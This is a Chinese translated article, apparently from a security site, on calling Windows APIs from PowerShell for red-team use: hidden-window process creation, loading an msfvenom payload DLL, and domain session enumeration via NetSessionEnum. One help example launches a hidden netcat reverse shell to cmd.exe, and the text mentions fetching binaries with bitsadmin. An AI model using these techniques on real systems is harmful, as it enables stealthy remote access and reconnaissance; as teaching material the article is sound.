猫头鹰
信安舆情早知道

通过PowerShell访问Windows Api

前言

在Mottoin之前发布过的文章《Powershell禁用绕过白名单防护》曾提到过。Powershell是微软的后期开发语言,从本质上来讲,C#和PowerShell其实都是运行在.Net框架之上的高级实现。这也就意味着,我们可以通过C#可执行程序直接调用.Net框架开放给PowerShell的那部分功能。可以编写一个C#程序,然后用它来实现PowerShell脚本的所有功能。

User32 : : MessageBox

从MSDN中可以看到C函数结构如下

int WINAPI MessageBox(
 _In_opt_ HWND hWnd,
 _In_opt_ LPCTSTR lpText,
 _In_opt_ LPCTSTR lpCaption,
 _In_ UINT uType
);

这可以很容易转化为C #,几乎就是一个文字的复制/粘贴的实例

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
 
public static class User32
{
 [DllImport("user32.dll", CharSet=CharSet.Auto)]
 public static extern bool MessageBox(
 IntPtr hWnd, /// Parent window handle 
 String text, /// Text message to display
 String caption, /// Window caption
 int options); /// MessageBox type
}
"@
 
[User32]::MessageBox(0,"Text","Caption",0) |Out-Null

创建消息框,是调用api最直接的一个。

执行以上的脚本:

1

当然也可以改变消息框的类型:

[User32]::MessageBox(0,"Text","Caption",0x4)

2

User32 : : CallWindowProc

从dll中调用一个功能函数

[Kernel32]::LoadLibrary # Load DLL
 |___[Kernel32]::GetProcAddress # Get function pointer
 |___[User32]::CallWindowProc # Call function

CallWindowProc只有在当前函数没有任何参数的情况下才能生效,User32.dll中包含一个LockWorkStation函数,是用来锁定用户桌面的

4

运行这个脚本,将会锁定计算机的桌面

3

重新登录后,可以看到该函数提供的输出

5

MSFvenom : : WinExec (..or not)

尝试用msfvenom生成一个dll

6

我并没有太多的使用msfpayload生成dll,因为他做不到我想要做的事,而且所有的内容会在ida里暴露出来。

7

该dll并没有调用WinExec,而是dll在建立时调用了CreateProcess.

8

这个调用有些奇怪,看起来像是CreateProcess在挂起(dwCreationFlags = 0x44)的状态下,启动rundll32.exe,rundll32.exe通常是在lpApplicationName,这次却被放置在lpCommandLine,无论怎么样,当lpCommandLine第一个参数被当作模块名称时lpApplicationName可以为null,是合法的。

然后shellcode获得了进程的句柄,注入进字节数组的载荷并恢复线程。

9

反观我们最初的目标,从powershell中执行一个有效的payload是简单直接的。由于所有的东西都在ida的DLLMain中,我们只需要从适当的路径调用LoadLibrary。一个缺点是,当我们开始调用的话,powershell将会被冻结,为避免这种情况,需要在后台启动进程。

10

执行之后将会弹出计算器

11

Kernel32 : : CreateProcess

之前演示的都是小规模,不会遇到什么问题,但并非每次都是这样。调用CreateProcess API是一个很好的例子,但是当你在远程计算机上运行命令的时候,总会弹出cmd窗口,再仔细看windows api可以发现CreateProcess API提供了更详细的功能,包括去处cmd的gui窗口

BOOL WINAPI CreateProcess(
 _In_opt_ LPCTSTR lpApplicationName,
 _Inout_opt_ LPTSTR lpCommandLine,
 _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, --> SECURITY_ATTRIBUTES Struct
 _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, --> SECURITY_ATTRIBUTES Struct
 _In_ BOOL bInheritHandles,
 _In_ DWORD dwCreationFlags,
 _In_opt_ LPVOID lpEnvironment,
 _In_opt_ LPCTSTR lpCurrentDirectory,
 _In_ LPSTARTUPINFO lpStartupInfo, --> STARTUPINFO Struct
 _Out_ LPPROCESS_INFORMATION lpProcessInformation --> PROCESS_INFORMATION Struct
);
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
 
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
 public IntPtr hProcess;
 public IntPtr hThread;
 public uint dwProcessId;
 public uint dwThreadId;
}
 
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
 public uint cb;
 public string lpReserved;
 public string lpDesktop;
 public string lpTitle;
 public uint dwX;
 public uint dwY;
 public uint dwXSize;
 public uint dwYSize;
 public uint dwXCountChars;
 public uint dwYCountChars;
 public uint dwFillAttribute;
 public uint dwFlags;
 public short wShowWindow;
 public short cbReserved2;
 public IntPtr lpReserved2;
 public IntPtr hStdInput;
 public IntPtr hStdOutput;
 public IntPtr hStdError;
}
 
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
 public int length;
 public IntPtr lpSecurityDescriptor;
 public bool bInheritHandle;
}
 
public static class Kernel32
{
 [DllImport("kernel32.dll", SetLastError=true)]
 public static extern bool CreateProcess(
 string lpApplicationName,
 string lpCommandLine,
 ref SECURITY_ATTRIBUTES lpProcessAttributes, 
 ref SECURITY_ATTRIBUTES lpThreadAttributes,
 bool bInheritHandles,
 uint dwCreationFlags, 
 IntPtr lpEnvironment,
 string lpCurrentDirectory,
 ref STARTUPINFO lpStartupInfo, 
 out PROCESS_INFORMATION lpProcessInformation);
}
"@
 
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
 
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
 
# SECURITY_ATTRIBUTES Struct (Process & Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
 
# CreateProcess --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
 
# Call CreateProcess
[Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null

上面的代码,标志着没有窗口的执行cmd.exe,然后使用cmd.exe执行calc.exe,你可以确认,cmd与进程管理器没有关联的窗口

12

代码看起来有点麻烦,我们修改下

PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1
PS C:\Users\Fubar\Desktop> Get-Help Invoke-CreateProcess -Full

NAME
 Invoke-CreateProcess

SYNOPSIS
 -Binary Full path of the module to be executed.

-Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults
 to $null if not specified.

-CreationFlags Process creation flags:
 0x00000000 (NONE)
 0x00000001 (DEBUG_PROCESS)
 0x00000002 (DEBUG_ONLY_THIS_PROCESS)
 0x00000004 (CREATE_SUSPENDED)
 0x00000008 (DETACHED_PROCESS)
 0x00000010 (CREATE_NEW_CONSOLE)
 0x00000200 (CREATE_NEW_PROCESS_GROUP)
 0x00000400 (CREATE_UNICODE_ENVIRONMENT)
 0x00000800 (CREATE_SEPARATE_WOW_VDM)
 0x00001000 (CREATE_SHARED_WOW_VDM)
 0x00040000 (CREATE_PROTECTED_PROCESS)
 0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
 0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
 0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
 0x04000000 (CREATE_DEFAULT_ERROR_MODE)
 0x08000000 (CREATE_NO_WINDOW)

-ShowWindow Window display flags:
 0x0000 (SW_HIDE)
 0x0001 (SW_SHOWNORMAL)
 0x0001 (SW_NORMAL)
 0x0002 (SW_SHOWMINIMIZED)
 0x0003 (SW_SHOWMAXIMIZED)
 0x0003 (SW_MAXIMIZE)
 0x0004 (SW_SHOWNOACTIVATE)
 0x0005 (SW_SHOW)
 0x0006 (SW_MINIMIZE)
 0x0007 (SW_SHOWMINNOACTIVE)
 0x0008 (SW_SHOWNA)
 0x0009 (SW_RESTORE)
 0x000A (SW_SHOWDEFAULT)
 0x000B (SW_FORCEMINIMIZE)
 0x000B (SW_MAX)

-StartF Bitfield to influence window creation:
 0x00000001 (STARTF_USESHOWWINDOW)
 0x00000002 (STARTF_USESIZE)
 0x00000004 (STARTF_USEPOSITION)
 0x00000008 (STARTF_USECOUNTCHARS)
 0x00000010 (STARTF_USEFILLATTRIBUTE)
 0x00000020 (STARTF_RUNFULLSCREEN)
 0x00000040 (STARTF_FORCEONFEEDBACK)
 0x00000080 (STARTF_FORCEOFFFEEDBACK)
 0x00000100 (STARTF_USESTDHANDLES)

SYNTAX
 Invoke-CreateProcess [-Binary] <String> [[-Args] <String>] [-CreationFlags] <Int32> [-ShowWindow]
 <Int32> [-StartF] <Int32> [<CommonParameters>]


DESCRIPTION
 Author: Ruben Boonen (@FuzzySec)
 License: BSD 3-Clause
 Required Dependencies: None
 Optional Dependencies: None


PARAMETERS
 -Binary <String>

Required? true
 Position? 1
 Default value
 Accept pipeline input? false
 Accept wildcard characters?

-Args <String>

Required? false
 Position? 2
 Default value
 Accept pipeline input? false
 Accept wildcard characters?

-CreationFlags <Int32>

Required? true
 Position? 3
 Default value
 Accept pipeline input? false
 Accept wildcard characters?

-ShowWindow <Int32>

Required? true
 Position? 4
 Default value
 Accept pipeline input? false
 Accept wildcard characters?

-StartF <Int32>

Required? true
 Position? 5
 Default value
 Accept pipeline input? false
 Accept wildcard characters?

<CommonParameters>
 This cmdlet supports the common parameters: Verbose, Debug,
 ErrorAction, ErrorVariable, WarningAction, WarningVariable,
 OutBuffer and OutVariable. For more information, type,
 "get-help about_commonparameters".

INPUTS

OUTPUTS

-------------------------- EXAMPLE 1 --------------------------

Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW

C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1
 -StartF 0x1


 -------------------------- EXAMPLE 2 --------------------------

Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW

C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e
 C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1

然后来对比看一下

第一张是正常显示cmd.exe的窗口的

13

下面是经过我修改代码之后的效果,是不显示cmd.exe窗口的

14

这里的cmd被称作“无窗口cmd”,cmd.exe去执行bitsadmin命令抓取在greyhathacker域中执行的二进制文件和结果。

15

Netapi32 : : NetSessionEnum

最后的例子,我们看看NetSessionEnum API。这是一个伟大的小API gem,特别是当它涉及到redteaming,它允许一个域用户枚举域身份验证会话连接,它不需要管理员权限。正如我在引言中提到的,已经有个伟大的工具,利用这个,最值得注意的是netsess和Veil-Powerview。下面的脚本是非常类似于“netsessions“PowerView 但是它不使用反射。

function Invoke-NetSessionEnum {
<#
.SYNOPSIS
 
 Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines.
 
.DESCRIPTION
 
 Author: Ruben Boonen (@FuzzySec)
 License: BSD 3-Clause
 Required Dependencies: None
 Optional Dependencies: None
 
.EXAMPLE
 C:\PS> Invoke-NetSessionEnum -HostName SomeHostName
 
#>
 
 param (
 [Parameter(Mandatory = $True)]
 [string]$HostName
 ) 
 
 Add-Type -TypeDefinition @"
 using System;
 using System.Diagnostics;
 using System.Runtime.InteropServices;
 
 [StructLayout(LayoutKind.Sequential)]
 public struct SESSION_INFO_10
 {
 [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
 [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
 public uint SessionTime;
 public uint IdleTime;
 }
 
 public static class Netapi32
 {
 [DllImport("Netapi32.dll", SetLastError=true)]
 public static extern int NetSessionEnum(
 [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
 [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
 [In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
 Int32 Level,
 out IntPtr bufptr,
 int prefmaxlen,
 ref Int32 entriesread,
 ref Int32 totalentries,
 ref Int32 resume_handle);
 
 [DllImport("Netapi32.dll", SetLastError=true)]
 public static extern int NetApiBufferFree(
 IntPtr Buffer);
 }
"@
 
 # Create SessionInfo10 Struct
 $SessionInfo10 = New-Object SESSION_INFO_10
 $SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
 $SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this ;))
 
 # NetSessionEnum params
 $OutBuffPtr = [IntPtr]::Zero # Struct output buffer
 $EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle
 $CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
 
 if ($CallResult -ne 0){
 echo "Mmm something went wrong!`nError Code: $CallResult"
 }
 
 else {
 
 if ([System.IntPtr]::Size -eq 4) {
 echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
 }
 else {
 echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
 }
 
 echo "Result-set contains $EntriesRead session(s)!"
 
 # Change buffer offset to int
 $BufferOffset = $OutBuffPtr.ToInt64()
 
 # Loop buffer entries and cast pointers as SessionInfo10
 for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
 $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
 $Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
 $Info
 $BufferOffset = $BufferOffset + $SessionInfo10StructSize
 }
 
 echo "`nCalling NetApiBufferFree, no memleaks here!"
 [Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
 }
}

测试的时候可以看到如下输出

16

结束语

希望本文章能在powershell调用windows api这方面给你一些启发

 

*原文:fuzzysecurity  Mottoin翻译发布

转载请注明来自MottoIN,未经允许不得转载!MottoIN » 通过PowerShell访问Windows Api

分享到:更多 ()

评论 3

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们